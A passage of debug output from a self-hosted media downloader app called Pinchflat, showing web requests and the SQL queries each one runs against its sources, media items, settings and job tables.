shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 06:45:54.416 [debug] QUERY OK source="sources" db=2.6ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 06:45:54.418 [info] Sent 200 in 11ms 06:45:55.356 [info] GET /media_profiles 06:45:55.357 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 06:45:55.358 [debug] QUERY OK source="media_profiles" db=0.5ms idle=948.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 06:45:55.359 [debug] QUERY OK source="settings" db=0.2ms idle=948.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:55.359 [debug] QUERY OK source="settings" db=0.2ms idle=946.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:55.360 [debug] QUERY OK source="settings" db=0.0ms idle=944.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:55.361 [info] Sent 200 in 4ms 06:45:55.776 [info] GET /settings 06:45:55.776 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 06:45:55.778 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=458.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:55.779 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=420.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:55.780 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=420.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:55.781 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=421.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:55.783 [info] Sent 200 in 6ms 06:45:56.186 [info] GET /app_info 06:45:56.186 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 06:45:56.188 [debug] QUERY OK source="settings" db=0.3ms idle=826.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:56.188 [debug] QUERY OK source="settings" db=0.3ms idle=410.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:56.190 [debug] QUERY OK source="settings" db=0.3ms idle=410.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:56.191 [debug] QUERY OK source="settings" db=0.0ms idle=411.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:56.191 [debug] QUERY OK source="settings" db=0.0ms idle=410.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:56.192 [info] Sent 200 in 5ms 06:45:56.483 [info] GET /sources/31/media/141520 06:45:56.483 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141520", "source_id" => "31"} Pipelines: [:browser] 06:45:56.484 [debug] QUERY OK source="media_items" db=0.5ms idle=295.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141520] 06:45:56.485 [debug] QUERY OK source="tasks" db=0.3ms idle=294.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141520] 06:45:56.486 [debug] QUERY OK source="sources" db=0.8ms idle=293.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:45:56.487 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=295.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7281] 06:45:56.488 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=166.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:56.488 [debug] QUERY OK source="settings" db=0.1ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:56.489 [debug] QUERY OK source="settings" db=0.1ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:56.490 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:45:56.491 [info] Sent 200 in 8ms 06:45:56.957 [info] GET /sources/31 06:45:56.957 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "31"} Pipelines: [:browser] 06:45:56.959 [debug] QUERY OK source="sources" db=0.5ms idle=470.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:45:56.960 [debug] QUERY OK source="media_profiles" db=0.6ms idle=471.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:45:56.961 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=472.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [31, "executing", "available", "scheduled", "retryable"] 06:45:56.961 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=472.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7287] 06:45:56.962 [debug] QUERY OK source="settings" db=0.0ms idle=471.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:56.962 [debug] QUERY OK source="settings" db=0.0ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:56.962 [debug] QUERY OK source="settings" db=0.0ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:56.963 [debug] QUERY OK source="sources" db=0.1ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:45:56.964 [debug] QUERY OK source="media_items" db=0.6ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [31] 06:45:56.965 [debug] QUERY OK source="media_items" db=0.8ms idle=2.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:45:56.966 [debug] QUERY OK source="sources" db=0.1ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:45:56.967 [debug] QUERY OK source="media_items" db=0.2ms idle=4.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [31] 06:45:56.967 [debug] QUERY OK source="media_items" db=0.5ms idle=3.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:45:56.968 [debug] QUERY OK source="sources" db=0.1ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:45:56.969 [debug] QUERY OK source="media_items" db=0.4ms idle=2.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [31] 06:45:56.970 [debug] QUERY OK source="media_items" db=0.9ms idle=2.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:45:56.971 [info] Sent 200 in 13ms 06:45:57.346 [info] GET /sources/30/media/141479 06:45:57.346 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141479", "source_id" => "30"} Pipelines: [:browser] 06:45:57.348 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=379.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141479] 06:45:57.349 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=380.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141479] 06:45:57.350 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=380.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:45:57.351 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=380.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7279] 06:45:57.352 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=28.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:57.352 [debug] QUERY OK source="settings" db=0.1ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:57.353 [debug] QUERY OK source="settings" db=0.0ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:57.353 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:45:57.355 [info] Sent 200 in 